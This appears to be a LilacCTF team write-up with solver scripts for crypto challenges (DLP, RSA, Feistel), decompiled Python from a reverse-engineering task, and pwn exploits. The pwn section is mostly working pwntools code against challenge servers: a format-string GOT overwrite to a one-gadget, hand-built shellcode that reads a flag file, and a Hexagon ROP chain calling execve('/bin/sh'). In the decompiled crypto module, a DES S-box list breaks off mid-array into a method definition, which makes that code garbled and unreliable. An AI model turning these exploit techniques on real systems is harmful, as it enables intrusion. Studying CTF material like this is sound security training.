Online link: https://hackmd.io/@Infobahn/H1ME4P4UWg # Crypto ## nestDLP Recover exprs ```py= from sage.all import * def lift_padic(poly): global x, y, Zp poly = poly.lift() coeffs = [[] for _ in range(3)] for i in range(5): for j in range(5): c = Zp(int(poly.coefficient({x: i, y: j}))) c = [int(c.expansion(i)) for i in range(3)] # coeffs.append(c) for k in range(3): coeffs[k].append(c[k]) return coeffs def read_output(): global x, y, S data = open("output.txt").readlines() poly_lst = [] for i in range(384): print(f'{i = }') line = data[i + 1].strip() poly = S(sage_eval(line, locals={'x': x, 'y': y})) # print(f'{poly = }') poly_lst.append(poly) # break return poly_lst p = 27163626949068993489548065092956573147065690312549243992743181548070229208336863515539631815667214312250392139728067 R = PolynomialRing(Zmod(p ** 3), names="x,y") x, y = R.gens() I = R.ideal([x**3 + y**5 + 13 * x * y - 37, y**3 + x**5 + 37 * x - 13]) # noqa: E741 S = R.quotient(I, names=("x,y")) g = S(x**2 + y**2 + 13 * x + 37 * y + 1337) Rp = R.change_ring(Zmod(p)) xp, yp = Rp.gens() Ip = Rp.ideal([xp**3 + yp**5 + 13 * xp * yp - 37, yp**3 + xp**5 + 37 * xp - 13]) # noqa: E741 Sp = Rp.quotient(Ip, names=("x,y")) gp = Sp(xp**2 + yp**2 + 13 * xp + 37 * yp + 1337) f0 = xp**3 + yp**5 + 13 * xp * yp - 37 f1 = yp**3 + xp**5 + 37 * xp - 13 g0 = f0.sylvester_matrix(f1, xp).det() g1 = f0.sylvester_matrix(f1, yp).det() g0_fac = list(factor(g0.univariate_polynomial())) order_Sp = lcm([p ** fac.degree() - 1 for fac, _ in g0_fac]) order_S = order_Sp * p**2 vec_mon = vector(S, [x ** i * y ** j for i in range(5) for j in range(5)]) vec_p = vector([p ** i for i in range(3)]) Zp = Qp(p, 3) # gk = g ** order_Sp gk = S(343050603991276313671361001769148118763959015693827000939396100915929942585241607166964001633081075427677159440805055611307132768644590883416375710371575126729232146757180388898364623732393894623237767036613591038336230968959931764904390329823952654097516362763276579098425658541450262339997586428546401522734979707300331953110610265307934059119*x**4*y**4 + 7463601198317132689206818492494834835207220964842361243671928821090033869063790631701633047424657628195709701262503306905019854398487234574586476573814379633246766399962926197336955178621933002234167442605070915773450392344644586709643611374381167020841963543466909347826983755070046578253506309465320912145681789162955634192758410689644640441764*x**4*y**3 + 13337159084261389094534492063530452395657741189458499941363314503003249076762747148825872410258163220040816933796880432956453540236679011665770647913154480217211923881056632404072361839494566793383495332335083530711997708895045784643650764729998439013599919852619650977700318606460353654147396889890069407934999562742085293273882671832545315372262*x**3*y**4 + 3796946865698228826889940803188476551598891760833075358090864109409845241901002839092691109299787047386184738603560820653204211939373561746056976871074377896714068284307783785535032924021502628304360787473002800138314515086786260605202563326938837546984351893646661831754464341779341325192113729971388996781959319457167801103800984316265111888522*x**4*y**2 + 7811112389893969937975652746470405296863838646875918343281900970916749749783856453355564225714402754278052822855496493475784255821713267725503752240500775675672361653586189388045056014351252608424374436450942450589978426192222214577726263794277931435707721907855825834576749043329531807457057678855685542051845385514833620855953632137990725650877*x**3*y**3 + 9735424174360748700895825605724311768654945939391945170770911156347377376893235374593582718425553430764651544583026868174174074695287137691926263110728510060579935147263570824680362512990165208104990254963819030818928768645280815534677710740002295381305265838360328525026637012157947306217535455418540380445541996608715587215768133495733641862177*x**2*y**4 + 1496937394133115028020243432704699812072550191660142197203726373964727581129002231866172960903904265599801330691950261292627649260338594741506492301788229057007132807224180051092229219279458813611725540345379810925270971617166160739294570570164781186202268165674200861035340313057157541963619014084383969606501004519224642016898117065706575266619*x**4*y + 8523294257263699813500694427815499199237349491302184838940705274810704339763965506804809094465584988372491453636839820431540892969699233556451670088263377437445207657879285230410851791153703599874344335606067653837155904628469112518179418133691613045806699593076949359791547315718050891346719885875370577912263937830914136358867955337588649017562*x**3*y**2 + 10026348905864968727405294920655253934641667467883996543350226027610286857756564732327827270071663876771935805176103317112736602613569244780178678895995765179160523486370705037699434101921014283844621665190424001986999643171205815400916737402768949789567554717978714571875130065728252731598960149924583830190660459719830809665452165367526548673380*x**2*y**3 + 14984339826617307858269297973226906588068175610681548430404000858900868602371405651286618511627779357794085029210392813087744206977156575390399488093279727705252042507184846925288258697642928485950128539734940652002537624296859698492469560843459207900982750517270810875430425216275129693092886964716928954294107795552856114722037745384999151445724*x*y**4 + 7894574920916210094365294528753043855798351829412876357324525678581933011684630328879274925179228083626640043228053508527713662657747105132507636984518399483003962466925029536572387318455702060691488046548268091465894309785382662937212520599313953706366651020903706379442836189350739582523489265910784317002458566296613400332331095648595143453508*x**4 + 16014499563402383798355087957353634745890833157535525983932084767627639864695495086240180495171251606857448158332014365853356166353805535887291731414271031308096473803261003737732530401184505802887030982080987284507772100785154074235555168473910978875373135030010213891080774486725682678319858939241782019004397510501132341991565184491922402876040*x**3*y + 16456158602512454075387939513899173758984653073708839232037820491829923364554658262466459797192111252004443819952328933826844644747081286037491693727787823996730616813949585060618914177466592292013653188222241401962456775553178000825983592204409326867653336955127173568346063206039455382202020001617777999215957306180072737694931807619593204611704*x**2*y**2 + 3453337573500973327291909005299100807354372234292967211146430605240846326911078158590098957050812364578144596215505018838897022884900156637987540398780875205074359094360565020045509121791590696650198501780667486555886722670679406904365759575027604867250556547270797832024588940916269981543180284276740943448319168887599450855044513536450654403273*x*y**3 + 15266553946502783821661515991495294690485994543217774910827952521617066499096577932503179481876868130468593115034408798567181535584126892181811018919880437280039415557305525309683601658615721084777632335557305540278813243536279379257954622019417716750497956792597504026958972589381579486336371139216550438697804894036682856194629166467897641586639*y**4 + 9365104962916699735342107489936563233185791755328882866669814256813282764255542283929895302829128592022380872060624188091921636989514940594332092187741725559434134682950487126965780807129838545531602633575143654990349707711763797072422091087761635141304631012345993775778711869380210274880417678038014384564750774919693310615321822375661455386819*x**3 + 19450598002128773642927580841474131941693817860069865359007606860780746446524042113796574879210976240233416637877429116118666227346798536328174046462296710025118126873672222771003660604205376781229712390657974212760941106329514761474041688347004318839693960541353604530783980957203258960990451729495168192378559988453737449347527056983389726695647*x**2*y + 5964677852146646884881768210905436229474358669256207934465257391135219384022154624057148607017217764890813621994967627591980945630717572425891445337196655120632407156310569713527490762192108972060991118959609874159382200133151802161807673977380693915952743273727613034127330555141631433322235825572988962172994404417367108903483716064912249155383*x*y**2 + 15684071730193503066724044995198829401924318522963679078071664264193086983843159314802494266412581361660639990264533430418051406427108973514785818908689855596945054214654556245944036743333713503669709232467701055913982715509306127256137206513102484587700659995585497611577273679761161557653251262585527759562874588190949270527229802870528815083155*y**3 + 17396515407376941223556996573981112868771914964380132290467868903156126217341762108222650878063725338154730418276722400306660891353237334811405642802121169219012815137518992204458520949004957149355077841866698234973221250778480166375931917715043726264860544065418553694506653654863809170244671500652496367340190246227833040568259136646024871130333*x**2 + 13848281508844551301382876056885630106061473624867461681062885926853546063384169860615809608973858614037040360206014157277040824911483521241502066687845629820302689282303282825516147951857770892004798634700008078981546935494285111608091383358057753385250284875795034529100890160641677063544540522958098392009593166232849814556083547710521940062173*x*y + 14364688849070027816203958505086703112821918397537784512405273363985429148395468609177144323845151718584814955962522541225623937904702928780918532215227424677764022113720759819131781704008768840795255000503580038184616874991855147812322637136410795400840757801165050898022147247799933870623298592180984192808229837802529400556909188600745830580810*y ** 2 + 7780891264806097641285911599937850234680998863775998532471601487295847920038733838627798950014379685510894849522557722140331905013782104834245256736265354269026344754311299888269398995100698374298455244983785788152011167291143448866729709343392217281926905026778496882649930578595513491973086546536909918393233324763261395101498823468224748940195*x + 12895233080003042797619714101148912291969898288779329449440394598008605498263575836956599226048735731190575725086580180895020063074945922600275865841055605625803945541946059318492072763008941128430769903152099514989556170891513867008150038546064501671984775900453941008724330861411486235536402437592312451853630611304407758783900992671216998754663*y + 9910015623323886456497507851751441553134667928184965903062807248733958104268932060847529965033601121890627692384506714428410529476303596180605528131122269541083408669785649331966489940195356252881676434955886160571802931287087858223096687433830481898620814460315256544312349175290403764532282471192655346174722845180222626705695913871345088004382) coeff1 = lift_padic(gk) t0 = coeff1[1][1] # Get quadratic equation of e through coefficient of y """ gk = 1 + x1 * p + x2 * p**2 gke = gk ** e = 1 + e * x1 * p + (e * (e - 1) / 2 * x1**2 + e * x2) * p**2 """ # Recover e mod p # e = e_p + k * p poly_lst = read_output() e_sol = [] for poly in poly_lst: # print(poly.parent()) gke = poly ** order_Sp # print(f'Processing poly...') target = int(gke.lift().coefficient({x:0, y:1})) e_p = target // p * pow(t0, -1, p) % p gke2 = gke * (gk ** (-e_p)) coeff2 = lift_padic(gke2) t1 = coeff2[2][1] k = t1 * pow(t0, -1, p) % p e_full = e_p + k * p e_sol.append(e_full) print(f'{e_full = }') open("sols.txt", "w").write(f'{e_sol = }') ``` Get flag ```py= #!/usr/bin/env python3.14 import argparse import ast import re from pathlib import Path from typing import Iterable from ortools.sat.python import cp_model def _parse_exps(path: Path) -> list[int]: text = path.read_text() m = re.search(r"e_sol\s*=\s*(\[.*\])\s*$", text, re.S) if m: return ast.literal_eval(m.group(1)) # Fallback: allow raw list literal. return ast.literal_eval(text.strip()) def _allowed_patterns(charset: str) -> list[list[int]]: if charset == "printable": allowed_bytes: Iterable[int] = range(32, 127) elif charset == "hex_lower": allowed_bytes = b"0123456789abcdef" elif charset == "hex_upper": allowed_bytes = b"0123456789ABCDEF" elif charset == "base64": allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" elif charset == "base64url": allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" elif charset == "word": allowed_bytes = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_" else: raise ValueError(f"unknown charset: {charset}") patterns: list[list[int]] = [] for b in allowed_bytes: if isinstance(b, str): b = ord(b) patterns.append([(b >> (7 - i)) & 1 for i in range(8)]) return patterns def main() -> int: parser = argparse.ArgumentParser(description="Recover flag from recovered exponents in sols.txt") parser.add_argument("--sols", default="sols.txt", type=Path, help="path to sols.txt") parser.add_argument( "--charset", default="printable", choices=["printable", "word", "hex_lower", "hex_upper", "base64", "base64url"], help="restrict flag bytes to a charset (helps the solver a lot)", ) parser.add_argument("--time-limit", type=float, default=300.0, help="max solve time in seconds") parser.add_argument("--workers", type=int, default=8, help="CP-SAT search workers") parser.add_argument("--no-solver-log", action="store_true", help="disable CP-SAT progress log") args = parser.parse_args() exps = _parse_exps(args.sols) n = max(e.bit_length() for e in exps) if n % 8: raise SystemExit(f"bitlength {n} is not a multiple of 8") byte_len = n // 8 w = n // 2 + 1 bitstrings = [format(e, f"0{n}b") for e in exps] weights = [s.count("1") for s in bitstrings] rhs = [weights[i] - w for i in range(len(exps))] print(f"[+] parsed {len(exps)} exps") print(f"[+] message length: {byte_len} bytes ({n} bits)") print(f"[+] otp weight w={w}") print(f"[+] charset={args.charset}") model = cp_model.CpModel() x = [model.new_bool_var(f"x{j}") for j in range(n)] patterns = _allowed_patterns(args.charset) for k in range(byte_len): model.add_allowed_assignments([x[8 * k + i] for i in range(8)], patterns) for i, bs in enumerate(bitstrings): model.add(sum(((1 if ch == "1" else -1) * x[j]) for j, ch in enumerate(bs)) == rhs[i]) solver = cp_model.CpSolver() solver.parameters.max_time_in_seconds = args.time_limit solver.parameters.num_search_workers = args.workers solver.parameters.cp_model_presolve = True solver.parameters.log_search_progress = not args.no_solver_log print("[+] solving...") res = solver.solve(model) print(f"[+] status: {solver.status_name(res)}") if res not in (cp_model.OPTIMAL, cp_model.FEASIBLE): return 2 v = 0 for j in range(n): v = (v << 1) | solver.value(x[j]) msg = v.to_bytes(byte_len, "big") flag = b"LilacCTF{" + msg + b"}" print(flag.decode("ascii", errors="replace")) # Sanity check: every exp must be at Hamming distance w. mm = int.from_bytes(msg, "big") for i, e in enumerate(exps): if (mm ^ e).bit_count() != w: raise SystemExit(f"internal check failed at i={i}") print("[+] check ok") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## myRSA ECM ```python from sage.all import * from pwn import * # io = remote("101.245.90.119", "8089") # n = int(io.recvline().decode().strip().split(" = ")[1]) # c = int(io.recvline().decode().strip().split(" = ")[1]) # save = [] # for num in range(82, 100): # io.sendlineafter(b" > ", str(num).encode()) # recv = io.recvline().decode().strip() # if recv != "🤐": # save.append((num, int(recv))) # print(n) # print(c) # print(save) n = 320463398964822335046388577512598439169912412662663009494347432623554394203670803089065987779128504277420596228400774827331351610218400792101575854579340551173392220602541203502751384517150046009415263351743602382113258267162420601780488075168957353780597674878144369327869964465070900596283281886408183175554478081038993938477659926361457163384937565266894839330377063520304463379213493662243218514993889537829099698656597997161855278297938355255410088350528543369288722795261835727770017939399082258134647208444374973242138569356754462210049877096486232693547694891534331539434254781094641373606991238019101335437 c = 80140760654462267017719473677495407945806989083076205994692983838456863987736401342704400427420046369099889997909749061368480651101102957366243793278412775082041015336890704820532767466703387606369163429880159007880606865852075573350086563934479736264492605192640115037085361523151744341819385022516548746015224651520456608321954049996777342018093920514055242719341522462068436565236490888149658105227332969276825894486219704822623333003530407496629970767624179771340249861283624439879882322915841180645525481839850978628245753026288794265196088121281665948230166544293876326256961232824906231788653397049122767633 save = (96, 34484956620179866074070847926139804359063142072294116788718557980902699327115656987124274229028140189100320603969008330866286764246306228523522742687628880235600852992498136916120692433600681811756379032521946702982740835213837602607673998432757011503342362501420917079002053526006602493983327263888542981905944223306284758287900181549380023600320809126518577943982963226746085664799480543700126384554756984361274849594593385089122492057335848048936127343198814676002820177792439241938851191156589839212021554296197426022622140915752674220260151964958964867477793087927995204920387657229909976501960074230485827919) E = EllipticCurve(Zmod(n), [0, 95]) G = E(1, save[1]) p = int(gcd(n, list(n * G)[2])) x = PolynomialRing(ZZ, 'x').gen() f = x**2 + 5 * x + 7 - ZZ(p) pp = int(f.roots()[1][0]) q = pp**2 + 3 * pp + 3 r = n // (p * q) pari.addprimes([p, q, r]) for flag in Zmod(n)(c).nth_root(65537, all=True): try: print(bytes(ZZ(flag).digits(base=256)[::-1]).decode()) except: continue ``` ## myBlock Symbolic and Groebner basis ```python from sage.all import * from pwn import * from hashlib import sha3_256 ROUNDS = 4 class myFeistel_symbolic: def __init__(self, subkeys): self.subkeys = subkeys.copy() def cube(self, a): return a ** 3 def enc_block(self, L, R, num = ROUNDS): for i, k in enumerate(self.subkeys[:num]): T = self.cube(L + k) new_R = R + T new_L = L L, R = new_R, new_L # print(i, L.degree()) return L, R def enc(self, data): return [self.enc_block(l, r) for l, r in data] # noqa: E741 def dec_block(self, L, R, num = ROUNDS): for k in self.subkeys[::-1][:num]: T = self.cube(R + k) L, R = R, L + T return L, R def dec(self, data): return [self.dec_block(l, r) for l, r in data] # noqa: E741 Fp = GF(2 ** 16, 'x', modulus = [int(x) for x in bin(0x1002D)[2:][::-1]]) print(Fp.modulus()) P = PolynomialRing(Fp, [f'rk_{i}' for i in range(8)]) subkeys_v = list(P.gens()) cipher_v = myFeistel_symbolic(subkeys_v) io = process(["python3", "chall.py"]) # io = remote("101.245.104.7", "8088") io.sendlineafter(b">", b"674") pts = eval(io.recvline().decode().strip()) cts = eval(io.recvline().decode().strip()) key_hash = io.recvline().decode().strip() print("Get data done") pts_fp = [(Fp.from_integer(pt[0]), Fp.from_integer(pt[1])) for pt in pts] cts_fp = [(Fp.from_integer(ct[0]), Fp.from_integer(ct[1])) for ct in cts] pts_fp_4r = [cipher_v.enc_block(*pt_fp, num = 3) for pt_fp in pts_fp] cts_fp_4r = [cipher_v.dec_block(*ct_fp, num = 4) for ct_fp in cts_fp] # fs0 = [] # fs1 = [] fs2 = [] for pt_fp_4r, ct_fp_4r in zip(pts_fp_4r, cts_fp_4r): fs2.append(pt_fp_4r[0] - ct_fp_4r[1]) print("GB times") I = Ideal(fs2).groebner_basis() key = [0] * 8 idx = [0, 1, 2, 4, 5, 6, 7] for i, poly in enumerate(I): key[idx[i]] = int(list(poly)[1][0].to_integer()) for key3 in range(2**16): key[3] = key3 keybytes = b"".join(key[i].to_bytes(2, "big") for i in range(8)) if sha3_256(keybytes).digest().hex() == key_hash: print(keybytes.hex()) io.interactive() # LilacCTF{https://www.youtube.com/watch?v=vnw8zURAxkU} ``` # Pwn ## chuantongxianyan ```py= #!/usr/bin/env python3.14 # -*- coding: utf-8 -*- from pwn import * import re try: from fast_log import * update_config( log_print_fn=lambda k,v:info("%s: %s"%(k,v)), warn_print_fn=lambda k,v:warn("%s: %s"%(k,v)) ) except: logx = warnx = print exe = ELF("./pwn_patched", False) libc = ELF("./libc.so.6", False) ld = ELF("./ld-linux-x86-64.so.2", False) context( binary=exe, log_level="debug", ) REMOTE_ADDR = "1.95.71.133:8889" def start(**kwargs): if args.REMOTE: return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs) else: # return gdb.debug([exe.path]) return process(['./pwn_patched']) p = start() sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send ru=p.recvuntil;rl=p.recvline;r=p.recv ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1] safe_link = lambda addr, ptr: (addr >> 12) ^ ptr ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17) ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled) binsh = lambda: next(libc.search(b"/bin/sh\0")) attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api) u32d = lambda data: u32(data.ljust(4, b'\x00')) u64d = lambda data: u64(data.ljust(8, b'\x00')) bb = lambda data: data if isinstance(data, bytes) else data.encode() snum = lambda num: str(num).encode() hnum = lambda num: hex(num)[2:].encode() PROMPT = b"> " choice = lambda num: sla(PROMPT, snum(num)) slp = lambda data: sla(PROMPT, bb(data)) ################### ## START EXPLOIT ## ################### def fmt(msg): assert len(msg) <= 0x10 sa(b"input: \n", bb(msg)) return r(0x10) def scratch(byte: int, to: int): global argv0_addr, buf_addr goal = byte if goal > 99: from tqdm import trange for i in trange(goal): fmt(b"%d%5$hhn" + p64(argv0_addr + i)) fmt(b"%5$hhnAA" + p64(argv0_addr + goal)) fmt(b"%9$s%5$n" + p64(to)) elif goal > 0: fmt(f"%{goal}c%5$n".encode().ljust(8, b"A") + p64(to)) else: fmt(b"%5$nAAAA" + p64(to)) def break_out(): fmt(b"%68c%5$n" + p64(exe.address + 0x4030)) attach("""\ brva 0x10EF # brva 0x10BC c """) pie_leak = int(fmt(b"%1$pA").split(b"A")[0], 16) exe.address = pie_leak - 0x4020 logx(exe.address) libc_leak = u64d(fmt(b"%5$sAAAA" + p64(exe.got.snprintf)).split(b"A")[0]) libc.address = libc_leak - libc.sym.snprintf logx(libc.address) buf_addr = u64d(fmt(b"%5$sAAAA" + p64(exe.address + 0x4030)).split(b"A")[0]) logx(buf_addr) assert buf_addr > 0x10000, "Run again" # move the argv[0] ptr down fmt(b"%5$hhnAA" + p64(buf_addr + 0x28 + 1)) argv0_addr = int(fmt(b"%9$pA").split(b"A")[0], 16) logx(argv0_addr) # p.interactive(); p.close(); exit() context.log_level = "INFO" from tqdm import tqdm to_overwrite = exe.got._exit new_addr = libc.address + 0xebc81 for i, nval in enumerate(p64(new_addr).rstrip(b"\0")): if i > 4: for j, val in enumerate(p64(to_overwrite + i).rstrip(b"\0")): scratch(val, buf_addr + 0x10 + j) fmt(f"%{nval}c%6$hhn\0") else: scratch(nval, to_overwrite + i) break_out() logx(buf_addr, new_addr) p.interactive() ``` ## bytezoo ```py= #!/usr/bin/env python3.14 # -*- coding: utf-8 -*- from pwn import * import re try: from fast_log import * update_config( log_print_fn=lambda k,v:info("%s: %s"%(k,v)), warn_print_fn=lambda k,v:warn("%s: %s"%(k,v)) ) except: logx = warnx = print exe = ELF("./pwn_patched", checksec=False) context( binary=exe, log_level="debug", # terminal="kitty" ) REMOTE_ADDR = "1.95.113.66:8999" def start(**kwargs): if args.REMOTE: return remote(*re.split(r":|\s", REMOTE_ADDR), **kwargs) else: # return gdb.debug([exe.path]) return process([exe.path]) p = start() sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send ru=p.recvuntil;rl=p.recvline;r=p.recv ra = lambda to_skip, rcv_until=b"\n", drop=True: [ru(to_skip), ru(rcv_until, drop=drop)][-1] safe_link = lambda addr, ptr: (addr >> 12) ^ ptr ptr_mangle = lambda addr, cookie=0: rol(addr ^ cookie, 17) ptr_demangle = lambda addr, cookie=0: ror(addr, 17) ^ cookie ptr_getcookie = lambda mangled, demangled: ptr_demangle(mangled, demangled) binsh = lambda: next(libc.search(b"/bin/sh\0")) attach = lambda script=None, api=False: not args.REMOTE and gdb.attach(p, gdbscript=script, api=api) u32d = lambda data: u32(data.ljust(4, b'\x00')) u64d = lambda data: u64(data.ljust(8, b'\x00')) bb = lambda data: data if isinstance(data, bytes) else data.encode() snum = lambda num: str(num).encode() hnum = lambda num: hex(num)[2:].encode() PROMPT = b"> " choice = lambda num: sla(PROMPT, snum(num)) slp = lambda data: sla(PROMPT, bb(data)) ################### ## START EXPLOIT ## ################### code = [ b"\x6a\x4a", # push 0x4a b"\x5b", # pop rbx b"\x64\x48\x8b\x5c\xdb\x26", # mov rbx, fs:[rbx+rbx*8+0x26] b"\x31\xed", # xor ebp, ebp b"\x66\xbd\xd7\x23", # mov bp, 0x23d7 b"\x48\x8d\x6c\xed\x13", # lea rbp, [rbp+rbp*8+0x13] b"\x48\x29\xeb", # sub rbx, rbp b"\x89\xc7", # mov edi, eax b"\x6a\x4d", # push 0x4d b"\x5e", # pop rsi b"\x83\xee\x46", # sub esi, 0x46 b"\x89\xf2", # mov edx, esi b"\x6a\x35", # push 0x35 b"\x58", # pop rax b"\x2c\x2b", # sub al, 0x2b b"\xff\xd3", # call rbx b"\x87\xfe", # xchg esi, edi b"\x5f", # pop rdi b"\xb6\xff", # mov dh, 0xff b"\xff\xd3", # call rbx ] raw = b"".join(code) attach("brva 0x195D\nc") sa(b"work.\n", raw) part2 = asm( shellcraft.open("./flag") + shellcraft.sendfile(1, "rax", 0, 0xff) ) part2 = b"\x90" * 0x30 + part2 s(part2) p.interactive() ``` ## gate-way faked r30/fp by pointing it to where /bin/sh is stored ```python from pwn import * # p = process(['./qemu-hexagon', '-d', 'cpu,in_asm', '-D', 'debug.log', '-g', '1234', './pwn']) # p = process(['./qemu-hexagon', './pwn']) p = remote('1.95.71.133', 8888) # context.log_level = 'debug' p.sendlineafter(b'Exit.\n', b'1') p.sendlineafter(b'Service.\n', b'1') p.sendlineafter(b'description\n', b'1.1.1.1|' + p32(0) + p32(0x000214f4) + b'/bin/sh\x00') p.sendlineafter(b'Service.\n', b'2') padding = b'1.1.1.1|' + b'A' * (100 - 4) payload = padding payload += p32(0x475f8) payload += p32(0x000217e4) payload += p32(0) payload += p32(221) # execve payload += p32(0x47600) payload += p32(0) p.sendlineafter(b'<<', payload) p.interactive() ``` # Rev ## ezpython Extract pyc from main.exe and decompile it using pylingual ```python= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: 'main.py' # Bytecode version: 3.9.0beta5 (3425) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import struct from crypto import * from sys import * import base64 import myalgo welcome_msg = 'V2VsYzBtMyBUbyBUaGUgV29ybGQgb2YgTDFsYWMgPDM=' input_msg = ':i(G#8T&KiF<F_)F`JToCggs;' right_msg = 'UmlnaHQsIGNvbmdyYXR1bGF0aW9ucyE=' wrong_msg = 'V3JvbmcgRmxhZyE=' print(b64decode(welcome_msg).decode()) flag = input(a85decode(input_msg).decode()) if not (flag.startswith('LilacCTF{') and flag.endswith('}') and (len(flag) == 26)): print(b64decode(wrong_msg).decode()) else: flag = flag[9:25] res = [761104570, 1033127419, 3729026053, 795718415] key = struct.unpack('<IIII', b'1111222233334444') input = list(struct.unpack('<IIII', flag.encode())) myalgo.btea(input, 4, key) if input[0] == res[0] and input[1] == res[1] and (input[2] == res[2]) and (input[3] == res[3]): print(b64decode(right_msg).decode()) else: print(b64decode(wrong_msg).decode()) ``` ```python # Decompiled with PyLingual (https://pylingual.io) # Internal filename: 'myalgo.py' # Bytecode version: 3.9.0beta5 (3425) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import dis import struct def MX(y, z, sum, k, p, e): return (z >> 5 ^ y >> 2) + (y << 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z) def btea(v, n, k): u32 = lambda x: x & 4294967295 y = v[0] sum = 0 DELTA = 1163219540 if n > 1: z = v[n - 1] q = 6 + 52 // n while q > 0: q -= 1 sum = u32(sum + DELTA) e = u32(sum >> 2) & 3 p = 0 while p < n - 1: y = v[p + 1] z = v[p] = u32(v[p] + MX(y, z, sum, k, p, e)) p += 1 y = v[0] z = v[n - 1] = u32(v[n - 1] + MX(y, z, sum, k, p, e)) return True else: return False if __name__ == '__main__': print('WOW') ``` ```python= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: 'crypto.py' # Bytecode version: 3.9.0beta5 (3425) # Source timestamp: 1970-01-01 00:00:00 UTC (0) from types import CodeType import dis import sys from myalgo import * import re import struct import binascii class RC4: def __init__(self, key: bytes): """\n 初始化 RC4 类\n :param key: 密钥,字节类型\n """ self.key = key self.s = list(range(256)) self._ksa() def _ksa(self): """\n 密钥调度算法 (Key Scheduling Algorithm, KSA)\n """ j = 0 key_length = len(self.key) for i in range(256): j = (j + self.s[i] + self.key[i % key_length]) % 256 self.s[i], self.s[j] = (self.s[j], self.s[i]) def _prga(self): """\n 伪随机数生成算法 (Pseudo-Random Generation Algorithm, PRGA)\n :yield: 生成的伪随机字节\n """ i = j = 0 while True: i = (i + 1) % 256 j = (j + self.s[i]) % 256 self.s[i], self.s[j] = (self.s[j], self.s[i]) yield self.s[(self.s[i] + self.s[j]) % 256] def encrypt(self, plaintext: bytes) -> bytes: """\n 加密明文\n :param plaintext: 明文,字节类型\n :return: 密文,字节类型\n """ keystream = self._prga() return bytes([p ^ next(keystream) for p in plaintext]) def decrypt(self, ciphertext: bytes) -> bytes: """\n 解密密文\n :param ciphertext: 密文,字节类型\n :return: 明文,字节类型\n """ return self.encrypt(ciphertext) class ArrangeSimpleDES: def __init__(self): self.ip = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] self.ip1 = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25] self.E = [32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1] self.P = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25] self.K = '0111010001101000011010010111001101101001011100110110100101110110' self.k1 = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4] self.k2 = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32] self.k0 = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1] self.S = [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 4, 1, 14, 8, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 14, 12, 5, 0, 14, 10, 6, 6, 4, 2, 1, 10, 6, 3, 11, 5, 1, 10, 14, 5, 6, 4, 2, 1, 13, 1, 10, 6, 3, 11, 6, 4, 2, 1, 13, 3, 8, 10, 6, 1, 11, def __substitution(self, table: str, self_table: list) -> str: """\n :param table: 需要进行置换的列表,是一个01字符串\n :param self_table: 置换表,在__init__中初始化了\n :return: 返回置换后的01字符串\n """ sub_result = '' for i in self_table: sub_result += table[i - 1] return sub_result def str2bin(self, string: str) -> str: """\n 将明文转为二进制字符串:\n :param string: 任意字符串\n :return:二进制字符串\n """ plaintext_list = list(bytes(string, 'utf8')) result = [] for num in plaintext_list: result.append(bin(num)[2:].zfill(8)) return ''.join(result) def bin2str(self, binary: str) -> str: """\n 二进制字符串转成字符串\n :param binary:\n :return:\n """ list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)] list_int = [] for b in list_bin: list_int.append(int(b, 2)) result = bytes(list_int).decode() return result def __bin2int(self, binary: str) -> list: """\n 